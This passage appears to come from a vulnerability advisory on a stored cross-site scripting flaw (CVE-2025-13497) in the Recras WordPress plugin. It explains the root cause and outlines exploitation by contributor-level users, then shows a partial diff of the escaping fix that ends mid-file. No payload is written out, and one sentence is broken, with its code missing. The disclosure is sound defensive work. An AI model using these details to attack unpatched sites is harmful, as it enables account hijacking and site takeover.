Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13497: Recras WordPress plugin <= 6.4.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'recrasname' Shortcode Attribute (recras)

Plugin recras
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.4.1
Patched Version 6.4.2
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13497:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Recras WordPress plugin, affecting versions up to and including 6.4.1. The vulnerability resides in the plugin’s shortcode attribute handling, specifically the ‘recrasname’ attribute. Attackers with Contributor-level or higher privileges can inject malicious scripts into WordPress pages or posts, which execute when a victim views the compromised content. The CVSS score of 6.4 reflects the medium severity and the requirement for authenticated access.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for the ‘recrasname’ shortcode attribute. The vulnerability manifests in the plugin’s editor forms, which generate shortcodes for users to insert into content. The diff shows multiple files where user-controlled data is directly embedded into JavaScript strings or HTML output without proper escaping. For example, in the file `recras/editor/form-arrangement.php`, the unescaped instance name (`$instance`) is directly inserted into a JavaScript function call at line 84. Similar patterns exist in `form-contact.php` at line 84 and other editor form files, where variables like `$instance` or data from `$arrangements` are output without using `esc_js()` or `esc_html()`.

The exploitation method requires an authenticated attacker with at least Contributor permissions. The attacker edits a post or page using the WordPress editor and inserts a Recras plugin shortcode. They craft a malicious payload within the ‘recrasname’ attribute of the shortcode. When the page is saved and subsequently viewed by any user, the malicious JavaScript executes in the victim’s browser context. The attack vector is the WordPress post editor interface, where the shortcode attributes are processed and stored.

The patch addresses the vulnerability by implementing proper output escaping functions. The diff shows the systematic replacement of direct variable output with `esc_html()`, `esc_js()`, and `esc_html_e()` functions. For instance, in `form-arrangement.php`, line 16 changes “ to “. Line 55 changes the shortcode construction to use `esc_js()` for the constant. Variable names were also standardized (e.g., `$instance` to `$recras_instance`) to improve code clarity. These changes ensure that any user-supplied data embedded in JavaScript or HTML contexts is properly encoded, neutralizing XSS payloads.

Successful exploitation leads to stored cross-site scripting. An attacker can inject arbitrary JavaScript code that executes in the context of any user viewing the compromised page. This can result in session hijacking, unauthorized actions performed on behalf of the victim, defacement, or theft of sensitive information from the user’s browser. The impact is limited to the security context of the logged-in user viewing the page, but given that administrators may view these pages, it could facilitate privilege escalation or site takeover.

Differential between vulnerable and patched code

Code Diff
--- a/recras/editor/form-arrangement.php
+++ b/recras/editor/form-arrangement.php
@@ -1,53 +1,53 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasArrangement();
-$arrangements = $model->getPackages($instance);
+$recras_packages_model = new RecrasArrangement();
+$recras_packages = $recras_packages_model->getPackages($recras_instance);
 ?>
 <style id="arrangement_style">
     .programme-only { display: none; }
 </style>

 <dl>
-    <dt><label for="arrangement_id"><?php _e('Package', RecrasPlugin::TEXT_DOMAIN); ?></label>
-        <dd><?php if (is_string($arrangements)) { ?>
+    <dt><label for="arrangement_id"><?php esc_html_e('Package', 'recras'); ?></label>
+        <dd><?php if (is_string($recras_packages)) { ?>
             <input type="number" id="arrangement_id" min="0" required>
-            <?= $arrangements; ?>
-        <?php } elseif (is_array($arrangements)) { ?>
+            <?= esc_html($recras_packages); ?>
+        <?php } elseif (is_array($recras_packages)) { ?>
             <select id="arrangement_id" required>
-            <?php foreach ($arrangements as $ID => $arrangement) { ?>
-                <option value="<?= $ID; ?>"><?= $arrangement->arrangement; ?>
+            <?php foreach ($recras_packages as $recras_package_id => $recras_package) { ?>
+                <option value="<?= esc_html($recras_package_id); ?>"><?= esc_html($recras_package->arrangement); ?>
             <?php } ?>
             </select>
-            <p><?php _e('If you are not seeing certain packages, make sure in Recras "May be presented on a website (via API)" is enabled on the tab "Extra settings" of the package.', RecrasPlugin::TEXT_DOMAIN); ?></p>
+            <p><?php esc_html_e('If you are not seeing certain packages, make sure in Recras "May be presented on a website (via API)" is enabled on the tab "Extra settings" of the package.', 'recras'); ?></p>
         <?php } ?>
-    <dt><label for="show_what"><?php _e('Show what?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="show_what"><?php esc_html_e('Show what?', 'recras'); ?></label>
         <dd><select id="show_what" required>
-            <option value="title"><?php _e('Title', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="description"><?php _e('Description', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="duration"><?php _e('Duration', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="location"><?php _e('Starting location', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="persons"><?php _e('Minimum number of persons', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="price_pp_excl_vat"><?php _e('Price p.p. excl. VAT', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="price_pp_incl_vat"><?php _e('Price p.p. incl. VAT', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="price_total_excl_vat"><?php _e('Total price excl. VAT', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="price_total_incl_vat"><?php _e('Total price incl. VAT', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="programme"><?php _e('Programme', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="image_tag"><?php _e('Image tag', RecrasPlugin::TEXT_DOMAIN); ?>
-            <option value="image_url"><?php _e('Relative image URL', RecrasPlugin::TEXT_DOMAIN); ?>
+            <option value="title"><?php esc_html_e('Title', 'recras'); ?>
+            <option value="description"><?php esc_html_e('Description', 'recras'); ?>
+            <option value="duration"><?php esc_html_e('Duration', 'recras'); ?>
+            <option value="location"><?php esc_html_e('Starting location', 'recras'); ?>
+            <option value="persons"><?php esc_html_e('Minimum number of persons', 'recras'); ?>
+            <option value="price_pp_excl_vat"><?php esc_html_e('Price p.p. excl. VAT', 'recras'); ?>
+            <option value="price_pp_incl_vat"><?php esc_html_e('Price p.p. incl. VAT', 'recras'); ?>
+            <option value="price_total_excl_vat"><?php esc_html_e('Total price excl. VAT', 'recras'); ?>
+            <option value="price_total_incl_vat"><?php esc_html_e('Total price incl. VAT', 'recras'); ?>
+            <option value="programme"><?php esc_html_e('Programme', 'recras'); ?>
+            <option value="image_tag"><?php esc_html_e('Image tag', 'recras'); ?>
+            <option value="image_url"><?php esc_html_e('Relative image URL', 'recras'); ?>
         </select>
-    <dt class="programme-only"><label for="starttime"><?php _e('Start time', RecrasPlugin::TEXT_DOMAIN); ?></label>
-        <dd class="programme-only"><input type="text" id="starttime" pattern="[01][0-9]:[0-5][1-9]" placeholder="<?php _e('hh:mm', RecrasPlugin::TEXT_DOMAIN); ?>" value="00:00">
-    <dt class="programme-only"><?php _e('Show header?', RecrasPlugin::TEXT_DOMAIN); ?>
+    <dt class="programme-only"><label for="starttime"><?php esc_html_e('Start time', 'recras'); ?></label>
+        <dd class="programme-only"><input type="text" id="starttime" pattern="[01][0-9]:[0-5][1-9]" placeholder="<?php esc_html_e('hh:mm', 'recras'); ?>" value="00:00">
+    <dt class="programme-only"><?php esc_html_e('Show header?', 'recras'); ?>
         <dd class="programme-only">
-            <input type="radio" name="header" value="yes" id="header_yes" checked><label for="header_yes"><?php _e('Yes', RecrasPlugin::TEXT_DOMAIN); ?></label><br>
-            <input type="radio" name="header" value="no" id="header_no"><label for="header_no"><?php _e('No', RecrasPlugin::TEXT_DOMAIN); ?></label>
+            <input type="radio" name="header" value="yes" id="header_yes" checked><label for="header_yes"><?php esc_html_e('Yes', 'recras'); ?></label><br>
+            <input type="radio" name="header" value="no" id="header_no"><label for="header_no"><?php esc_html_e('No', 'recras'); ?></label>
 </dl>
-<button class="button button-primary" id="arrangement_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="arrangement_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     document.getElementById('show_what').addEventListener('change', function(){
@@ -55,7 +55,7 @@
     });

     document.getElementById('arrangement_submit').addEventListener('click', function(){
-        let shortcode = '[<?= RecrasArrangement::SHORTCODE; ?> id="' + document.getElementById('arrangement_id').value + '" show="' + document.getElementById('show_what').value + '"';
+        let shortcode = '[<?= esc_js(RecrasArrangement::SHORTCODE); ?> id="' + document.getElementById('arrangement_id').value + '" show="' + document.getElementById('show_what').value + '"';
         if (document.getElementById('show_what').value === 'programme') {
             if (document.getElementById('starttime').value !== '00:00') {
                 shortcode += ' starttime="' + document.getElementById('starttime').value + '"';
--- a/recras/editor/form-booking.php
+++ b/recras/editor/form-booking.php
@@ -1,108 +1,108 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasArrangement();
-$arrangements = $model->getPackages($instance, true);
+$recras_packages_model = new RecrasArrangement();
+$recras_packages = $recras_packages_model->getPackages($recras_instance, true);
 ?>
 <dl>
-    <dt><label><?php _e('Integration method', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label><?php esc_html_e('Integration method', 'recras'); ?></label>
         <dd>
             <label>
                 <input type="radio" id="use_new_library_yes" name="integration_method" value="jslibrary" checked>
-                <?php _e('Seamless (recommended)', RecrasPlugin::TEXT_DOMAIN); ?>
+                <?php esc_html_e('Seamless (recommended)', 'recras'); ?>
             </label>
             <br>
             <label>
                 <input type="radio" id="use_new_library_no" name="integration_method" value="iframe">
-                <?php _e('iframe (uses setting in your Recras)', RecrasPlugin::TEXT_DOMAIN); ?>
+                <?php esc_html_e('iframe (uses setting in your Recras)', 'recras'); ?>
             </label>
         <p class="recras-notice">
             <?php
-            _e('Seamless integration uses the styling of your website. At Recras → Settings in the menu on the left, you can set an optional theme.', RecrasPlugin::TEXT_DOMAIN);
+            esc_html_e('Seamless integration uses the styling of your website. At Recras → Settings in the menu on the left, you can set an optional theme.', 'recras');
             ?>
             <br>
             <?php
-            _e('iframe integration uses the styling set in your Recras. You can change the styling in Recras via Settings → Other settings → Custom CSS.', RecrasPlugin::TEXT_DOMAIN);
+            esc_html_e('iframe integration uses the styling set in your Recras. You can change the styling in Recras via Settings → Other settings → Custom CSS.', 'recras');
             ?>
         </p>

     <dt id="pack_sel_label">
-        <label for="package_selection"><?php _e('Package selection', RecrasPlugin::TEXT_DOMAIN); ?></label>
+        <label for="package_selection"><?php esc_html_e('Package selection', 'recras'); ?></label>
     <dd id="pack_sel_input">
-        <?php unset($arrangements[0]); ?>
+        <?php unset($recras_packages[0]); ?>
         <select multiple id="package_selection">
-            <?php foreach ($arrangements as $ID => $arrangement) { ?>
-            <option value="<?= $ID; ?>"><?= $arrangement->arrangement; ?>
+            <?php foreach ($recras_packages as $recras_package_id => $recras_package) { ?>
+            <option value="<?= esc_html($recras_package_id); ?>"><?= esc_html($recras_package->arrangement); ?>
             <?php } ?>
         </select>
         <p class="recras-notice">
             <?php
-            _e('To (de)select multiple packages, hold Ctrl and click (Cmd on Mac)', RecrasPlugin::TEXT_DOMAIN);
+            esc_html_e('To (de)select multiple packages, hold Ctrl and click (Cmd on Mac)', 'recras');
             ?>
         </p>
     <dt id="pack_one_label" style="display: none;">
-        <label for="arrangement_id"><?php _e('Package', RecrasPlugin::TEXT_DOMAIN); ?></label>
+        <label for="arrangement_id"><?php esc_html_e('Package', 'recras'); ?></label>
     <dd id="pack_one_input" style="display: none;">
-        <?php if (is_string($arrangements)) { ?>
+        <?php if (is_string($recras_packages)) { ?>
             <input type="number" id="arrangement_id" min="0">
-            <?= $arrangements; ?>
-        <?php } elseif(is_array($arrangements)) { ?>
-            <?php unset($arrangements[0]); ?>
+            <?= esc_html($recras_packages); ?>
+        <?php } elseif(is_array($recras_packages)) { ?>
+            <?php unset($recras_packages[0]); ?>
             <select id="arrangement_id" required>
-                <option value="0"><?php _e('No pre-filled package', RecrasPlugin::TEXT_DOMAIN); ?>
-                <?php foreach ($arrangements as $ID => $arrangement) { ?>
-                <option value="<?= $ID; ?>"><?= $arrangement->arrangement; ?>
+                <option value="0"><?php esc_html_e('No pre-filled package', 'recras'); ?>
+                <?php foreach ($recras_packages as $recras_package_id => $recras_package) { ?>
+                <option value="<?= esc_html($recras_package_id); ?>"><?= esc_html($recras_package->arrangement); ?>
                 <?php } ?>
             </select>
         <?php } ?>

-    <dt><label for="show_times"><?php _e('Preview times in programme', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="show_times"><?php esc_html_e('Preview times in programme', 'recras'); ?></label>
         <dd><input type="checkbox" id="show_times">
-    <dt><label><?php _e('Pre-fill amounts (requires pre-filled package)', RecrasPlugin::TEXT_DOMAIN); ?></label>
-        <dd><strong><?php _e('Sorry, this is only available using the Gutenberg editor.', RecrasPlugin::TEXT_DOMAIN); ?></strong>
-    <dt><label for="prefill_date"><?php _e('Pre-fill date (requires exactly 1 package selected)',RecrasPlugin::TEXT_DOMAIN ); ?></label>
+    <dt><label><?php esc_html_e('Pre-fill amounts (requires pre-filled package)', 'recras'); ?></label>
+        <dd><strong><?php esc_html_e('Sorry, this is only available using the Gutenberg editor.', 'recras'); ?></strong>
+    <dt><label for="prefill_date"><?php esc_html_e('Pre-fill date (requires exactly 1 package selected)','recras' ); ?></label>
         <dd><input
             type="date"
             id="prefill_date"
-            min="<?= date('Y-m-d') ?>"
-            pattern="<?= RecrasContactForm::PATTERN_DATE; ?>"
-            placeholder="<?= __('yyyy-mm-dd', RecrasPlugin::TEXT_DOMAIN); ?>"
+            min="<?= esc_html(date('Y-m-d')); ?>"
+            pattern="<?= esc_html(RecrasContactForm::PATTERN_DATE); ?>"
+            placeholder="<?= esc_html(__('yyyy-mm-dd', 'recras')); ?>"
             disabled
         >
-    <dt><label for="prefill_time"><?php _e('Pre-fill time (requires exactly 1 package selected)',RecrasPlugin::TEXT_DOMAIN ); ?></label>
+    <dt><label for="prefill_time"><?php esc_html_e('Pre-fill time (requires exactly 1 package selected)','recras' ); ?></label>
         <dd><input
             type="time"
             id="prefill_time"
-            pattern="<?= RecrasContactForm::PATTERN_TIME; ?>"
+            pattern="<?= esc_html(RecrasContactForm::PATTERN_TIME); ?>"
             step="300"
-            placeholder="<?= __('hh:mm', RecrasPlugin::TEXT_DOMAIN); ?>"
+            placeholder="<?= esc_html(__('hh:mm', 'recras')); ?>"
             disabled
         >
-    <dt><label for="redirect_page"><?php _e('Thank-you page', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="redirect_page"><?php esc_html_e('Thank-you page', 'recras'); ?></label>
         <dd><select id="redirect_page">
-            <option value=""><?php _e("Don't redirect", RecrasPlugin::TEXT_DOMAIN); ?>
-            <optgroup label="<?php _e('Pages', RecrasPlugin::TEXT_DOMAIN); ?>">
+            <option value=""><?php esc_html_e("Don't redirect", 'recras'); ?>
+            <optgroup label="<?php esc_html_e('Pages', 'recras'); ?>">
                 <?php foreach (get_pages() as $page) { ?>
-                <option value="<?= get_permalink($page->ID); ?>"><?= htmlspecialchars($page->post_title); ?>
-                    <?php } ?>
+                <option value="<?= esc_html(get_permalink($page->ID)); ?>"><?= esc_html($page->post_title); ?>
+                <?php } ?>
             </optgroup>
-            <optgroup label="<?php _e('Posts', RecrasPlugin::TEXT_DOMAIN); ?>">
+            <optgroup label="<?php esc_html_e('Posts', 'recras'); ?>">
                 <?php foreach (get_posts() as $post) { ?>
-                <option value="<?= get_permalink($post->ID); ?>"><?= htmlspecialchars($post->post_title); ?>
-                    <?php } ?>
+                <option value="<?= esc_html(get_permalink($post->ID)); ?>"><?= esc_html($post->post_title); ?>
+                <?php } ?>
             </optgroup>
         </select>
-    <dt><label for="show_discounts"><?php _e('Show discount fields', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="show_discounts"><?php esc_html_e('Show discount fields', 'recras'); ?></label>
         <dd><input type="checkbox" id="show_discounts" checked>
-    <dt><label for="auto_resize"><?php _e('Automatic resize?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="auto_resize"><?php esc_html_e('Automatic resize?', 'recras'); ?></label>
         <dd><input type="checkbox" id="auto_resize" disabled>

 </dl>
-<button class="button button-primary" id="booking_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="booking_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     [...document.querySelectorAll('[name="integration_method"]')].forEach(function(el) {
@@ -142,7 +142,7 @@
         } else {
             packageIDsMultiple = [...selectedPackages].map(el => el.value);
         }
-        let shortcode = '[<?= RecrasOnlineBooking::SHORTCODE; ?>';
+        let shortcode = '[<?= esc_js(RecrasOnlineBooking::SHORTCODE); ?>';
         if (packageIDsMultiple.length > 0 && useNewLibrary) {
             shortcode += ' package_list="' + packageIDsMultiple.join(',') + '"';
         } else if (arrangementID) {
--- a/recras/editor/form-bookprocess.php
+++ b/recras/editor/form-bookprocess.php
@@ -1,51 +1,51 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasBookprocess();
-$processes = $model->getProcesses($instance);
+$recras_bp_model = new RecrasBookprocess();
+$recras_bps = $recras_bp_model->getProcesses($recras_instance);
 ?>
 <style id="bookprocess_style">
     .recras-hidden-input { display: none; }
 </style>

 <dl>
-    <dt><label for="bookprocess_id"><?php _e('Book process', RecrasPlugin::TEXT_DOMAIN); ?></label>
-        <dd><?php if (is_string($processes)) { ?>
+    <dt><label for="bookprocess_id"><?php esc_html_e('Book process', 'recras'); ?></label>
+        <dd><?php if (is_string($recras_bps)) { ?>
             <input type="number" id="bookprocess_id" min="1" required>
-            <?= $processes; ?>
-        <?php } elseif (is_array($processes)) { ?>
+            <?= esc_html($recras_bps); ?>
+        <?php } elseif (is_array($recras_bps)) { ?>
             <select id="bookprocess_id" required>
-                <?php foreach ($processes as $ID => $process) { ?>
-                <option value="<?= $ID; ?>"><?= $process->name; ?>
+                <?php foreach ($recras_bps as $recras_bp_id => $recras_bp) { ?>
+                <option value="<?= esc_html($recras_bp_id); ?>"><?= esc_html($recras_bp->name); ?>
                 <?php } ?>
             </select>
         <?php } ?>
     <dt class="first-widget-only recras-hidden-input">
-        <label><?php _e('Initial value for first widget', RecrasPlugin::TEXT_DOMAIN); ?></label>
+        <label><?php esc_html_e('Initial value for first widget', 'recras'); ?></label>
         <dd class="first-widget-only recras-hidden-input">
             <input id="first_widget_value_package" type="number" min="1" step="1">
             <p class="recras-notice">
-                <?php _e('Please note that no validation on this value is performed. Invalid values may be ignored or may stop the book process from working properly.', RecrasPlugin::TEXT_DOMAIN); ?>
+                <?php esc_html_e('Please note that no validation on this value is performed. Invalid values may be ignored or may stop the book process from working properly.', 'recras'); ?>
             </p>
     <dt class="first-widget-only recras-hidden-input">
-        <label for="hide_first_widget"><?php _e('Hide first widget?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+        <label for="hide_first_widget"><?php esc_html_e('Hide first widget?', 'recras'); ?></label>
         <dd class="first-widget-only recras-hidden-input">
             <input type="checkbox" id="hide_first_widget">
 </dl>
-<button class="button button-primary" id="bp_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="bp_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     function bpIdChange () {
         const elPackage = document.getElementById('first_widget_value_package');
         const elId = document.getElementById('bookprocess_id');
         <?php
-        if (is_array($processes)) {
+        if (is_array($recras_bps)) {
         ?>
-        const bookprocesses = <?= json_encode($processes); ?>;
+        const bookprocesses = <?= json_encode($recras_bps); ?>;
         <?php
         }
         ?>
@@ -81,7 +81,7 @@
     document.getElementById('bp_submit').addEventListener('click', function() {
         const elPackage = document.getElementById('first_widget_value_package');

-        let shortcode = '[<?= RecrasBookprocess::SHORTCODE; ?> id="' + document.getElementById('bookprocess_id').value + '"';
+        let shortcode = '[<?= esc_js(RecrasBookprocess::SHORTCODE); ?> id="' + document.getElementById('bookprocess_id').value + '"';

         let initialValue;
         if (elPackage && elPackage.value) {
--- a/recras/editor/form-contact.php
+++ b/recras/editor/form-contact.php
@@ -1,94 +1,94 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasArrangement();
-$arrangements = $model->getPackages($instance);
+$recras_packages_model = new RecrasArrangement();
+$recras_packages = $recras_packages_model->getPackages($recras_instance);

-$model = new RecrasContactForm();
-$forms = $model->getForms($instance);
+$recras_forms_model = new RecrasContactForm();
+$recras_forms = $recras_forms_model->getForms($recras_instance);
 ?>
 <dl>
-    <dt><label for="contactform_id"><?php _e('Contact form', RecrasPlugin::TEXT_DOMAIN); ?></label>
-        <dd><?php if (is_string($forms)) { ?>
+    <dt><label for="contactform_id"><?php esc_html_e('Contact form', 'recras'); ?></label>
+        <dd><?php if (is_string($recras_forms)) { ?>
             <input type="number" id="contactform_id" min="0" required>
-            <?= $forms; ?>
-        <?php } elseif(is_array($forms)) { ?>
+            <?= esc_html($recras_forms); ?>
+        <?php } elseif (is_array($recras_forms)) { ?>
             <select id="contactform_id" required>
-                <?php foreach ($forms as $ID => $form) { ?>
-                <option value="<?= $ID; ?>"><?= $form->naam; ?>
+                <?php foreach ($recras_forms as $recras_form_id => $recras_form) { ?>
+                <option value="<?= esc_html($recras_form_id); ?>"><?= esc_html($recras_form->naam); ?>
                 <?php } ?>
             </select>
         <?php } ?>
-    <dt><label for="showtitle"><?php _e('Show title?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="showtitle"><?php esc_html_e('Show title?', 'recras'); ?></label>
         <dd><input type="checkbox" id="showtitle" checked>
-    <dt><label for="showlabels"><?php _e('Show labels?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="showlabels"><?php esc_html_e('Show labels?', 'recras'); ?></label>
         <dd><input type="checkbox" id="showlabels" checked>
-    <dt><label for="showplaceholders"><?php _e('Show placeholders?', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="showplaceholders"><?php esc_html_e('Show placeholders?', 'recras'); ?></label>
         <dd><input type="checkbox" id="showplaceholders" checked>
-    <dt><label for="arrangement_id"><?php _e('Package', RecrasPlugin::TEXT_DOMAIN); ?></label>
-        <dd><?php if (is_string($arrangements)) { ?>
+    <dt><label for="arrangement_id"><?php esc_html_e('Package', 'recras'); ?></label>
+        <dd><?php if (is_string($recras_packages)) { ?>
             <input type="number" id="arrangement_id" min="0" required>
-            <?= $arrangements; ?>
-        <?php } elseif(is_array($arrangements)) { ?>
+            <?= esc_html($recras_packages); ?>
+        <?php } elseif (is_array($recras_packages)) { ?>
             <select id="arrangement_id" required>
-                <?php foreach ($arrangements as $ID => $arrangement) { ?>
-                <option value="<?= $ID; ?>"><?= $arrangement->arrangement; ?>
+                <?php foreach ($recras_packages as $recras_package_id => $recras_package) { ?>
+                <option value="<?= esc_html($recras_package_id); ?>"><?= esc_html($recras_package->arrangement); ?>
                 <?php } ?>
             </select>
         <?php } ?>
         <p class="recras-notice">
-            <?php _e('Some packages may not be available for all contact forms. You can change this by editing your contact forms in Recras.', RecrasPlugin::TEXT_DOMAIN); ?><br>
-            <?php _e('If you are still missing packages, make sure in Recras "May be presented on a website (via API)" is enabled on the tab "Extra settings" of the package.', RecrasPlugin::TEXT_DOMAIN); ?>
+            <?php esc_html_e('Some packages may not be available for all contact forms. You can change this by editing your contact forms in Recras.', 'recras'); ?><br>
+            <?php esc_html_e('If you are still missing packages, make sure in Recras "May be presented on a website (via API)" is enabled on the tab "Extra settings" of the package.', 'recras'); ?>
         </p>
-    <dt><label for="container_element"><?php _e('HTML element', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="container_element"><?php esc_html_e('HTML element', 'recras'); ?></label>
         <dd><select id="container_element">
-                <option value="dl" selected><?php _e('Definition list', RecrasPlugin::TEXT_DOMAIN); ?> (<dl>)
-                <option value="ol"><?php _e('Ordered list', RecrasPlugin::TEXT_DOMAIN); ?> (<ol>)
-                <option value="table"><?php _e('Table', RecrasPlugin::TEXT_DOMAIN); ?> (<table>)
+                <option value="dl" selected><?php esc_html_e('Definition list', 'recras'); ?> (<dl>)
+                <option value="ol"><?php esc_html_e('Ordered list', 'recras'); ?> (<ol>)
+                <option value="table"><?php esc_html_e('Table', 'recras'); ?> (<table>)
             </select>
-    <dt><label for="single_choice_element"><?php _e('Element for single choices', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="single_choice_element"><?php esc_html_e('Element for single choices', 'recras'); ?></label>
         <dd><select id="single_choice_element">
-                <option value="select" selected><?php _e('Drop-down list (Select)', RecrasPlugin::TEXT_DOMAIN); ?>
-                <option value="radio"><?php _e('Radio buttons', RecrasPlugin::TEXT_DOMAIN); ?>
+                <option value="select" selected><?php esc_html_e('Drop-down list (Select)', 'recras'); ?>
+                <option value="radio"><?php esc_html_e('Radio buttons', 'recras'); ?>
             </select>
         <p class="recras-notice">
-            <?php _e('This relates to: customer type, package selection, gender, and single choice', RecrasPlugin::TEXT_DOMAIN); ?><br>
+            <?php esc_html_e('This relates to: customer type, package selection, gender, and single choice', 'recras'); ?><br>
         </p>
-    <dt><label for="submit_text"><?php _e('Submit button text', RecrasPlugin::TEXT_DOMAIN); ?></label>
-        <dd><input type="text" id="submit_text" value="<?php _e('Send', RecrasPlugin::TEXT_DOMAIN); ?>">
-    <dt><label for="redirect_page"><?php _e('Thank-you page', RecrasPlugin::TEXT_DOMAIN); ?></label>
+    <dt><label for="submit_text"><?php esc_html_e('Submit button text', 'recras'); ?></label>
+        <dd><input type="text" id="submit_text" value="<?php esc_html_e('Send', 'recras'); ?>">
+    <dt><label for="redirect_page"><?php esc_html_e('Thank-you page', 'recras'); ?></label>
         <dd><select id="redirect_page">
-                <option value=""><?php _e("Don't redirect", RecrasPlugin::TEXT_DOMAIN); ?>
-                <optgroup label="<?php _e('Pages', RecrasPlugin::TEXT_DOMAIN); ?>">
+                <option value=""><?php esc_html_e("Don't redirect", 'recras'); ?>
+                <optgroup label="<?php esc_html_e('Pages', 'recras'); ?>">
                     <?php foreach (get_pages() as $page) { ?>
-                    <option value="<?= get_permalink($page->ID); ?>"><?= htmlspecialchars($page->post_title); ?>
+                    <option value="<?= esc_html(get_permalink($page->ID)); ?>"><?= esc_html($page->post_title); ?>
                     <?php } ?>
                 </optgroup>
-                <optgroup label="<?php _e('Posts', RecrasPlugin::TEXT_DOMAIN); ?>">
+                <optgroup label="<?php esc_html_e('Posts', 'recras'); ?>">
                     <?php foreach (get_posts() as $post) { ?>
-                    <option value="<?= get_permalink($post->ID); ?>"><?= htmlspecialchars($post->post_title); ?>
+                    <option value="<?= esc_html(get_permalink($post->ID)); ?>"><?= esc_html($post->post_title); ?>
                     <?php } ?>
                 </optgroup>
             </select>
 </dl>
-<button class="button button-primary" id="contact_submit"><?php _e('Insert shortcode', RecrasPlugin::TEXT_DOMAIN); ?></button>
+<button class="button button-primary" id="contact_submit"><?php esc_html_e('Insert shortcode', 'recras'); ?></button>

 <script>
     const DEFAULT_ELEMENT = 'dl';
     const DEFAULT_SINGLE_CHOICE_ELEMENT = 'select';

     // Check which arrangements are available
-    getContactFormArrangements(document.getElementById('contactform_id').value, '<?= $instance; ?>');
+    getContactFormArrangements(document.getElementById('contactform_id').value, '<?= esc_js($recras_instance); ?>');
     document.getElementById('contactform_id').addEventListener('change', function(){
-        getContactFormArrangements(document.getElementById('contactform_id').value, '<?= $instance; ?>');
+        getContactFormArrangements(document.getElementById('contactform_id').value, '<?= esc_js($recras_instance); ?>');
     });

     document.getElementById('contact_submit').addEventListener('click', function(){
-        let shortcode = '[<?= RecrasContactForm::SHORTCODE; ?> id="' + document.getElementById('contactform_id').value + '"';
+        let shortcode = '[<?= esc_js(RecrasContactForm::SHORTCODE); ?> id="' + document.getElementById('contactform_id').value + '"';

         const options = ['showtitle', 'showlabels', 'showplaceholders'];
         for (let opt of options) {
@@ -106,7 +106,7 @@
         if (document.getElementById('single_choice_element').value !== DEFAULT_SINGLE_CHOICE_ELEMENT) {
             shortcode += ' single_choice_element="' + document.getElementById('single_choice_element').value + '"';
         }
-        if (document.getElementById('submit_text').value !== '<?php _e('Send', RecrasPlugin::TEXT_DOMAIN); ?>') {
+        if (document.getElementById('submit_text').value !== '<?php esc_html_e('Send', 'recras'); ?>') {
             shortcode += ' submittext="' + document.getElementById('submit_text').value + '"';
         }
         if (document.getElementById('redirect_page').value !== '') {
--- a/recras/editor/form-package-availability.php
+++ b/recras/editor/form-package-availability.php
@@ -1,41 +1,41 @@
 <?php
-$instance = RecrasSettings::getInstance();
-if (!$instance) {
+$recras_instance = RecrasSettings::getInstance();
+if (!$recras_instance) {
     RecrasSettings::errorNoRecrasName();
     return;
 }

-$model = new RecrasArrangement();
-$arrangements = $model->getPackages($instance);
+$recras_package_model = new RecrasArrangement();
+$recras_packages = $recras_package_model->getPackages($recras_instance);
 ?>

 <dl>
-    <dt><label for="arrangement_id"><?php _e('Package', RecrasPlugin::TEXT_DOMAIN); ?></label>
-    <dd><?php if (is_string($arrangements)) { ?>
+    <dt><label for="arrangement_id"><?php esc_html_e('Package', 'recras'); ?></label>
+    <dd><?php if (is_string($recras_packages)) { ?>
             <input type="number" id="arrangement_id" min="0" required>
-            <?= $arrangements; ?>
-        <?php } elseif(is_array($arrangements)) { ?>
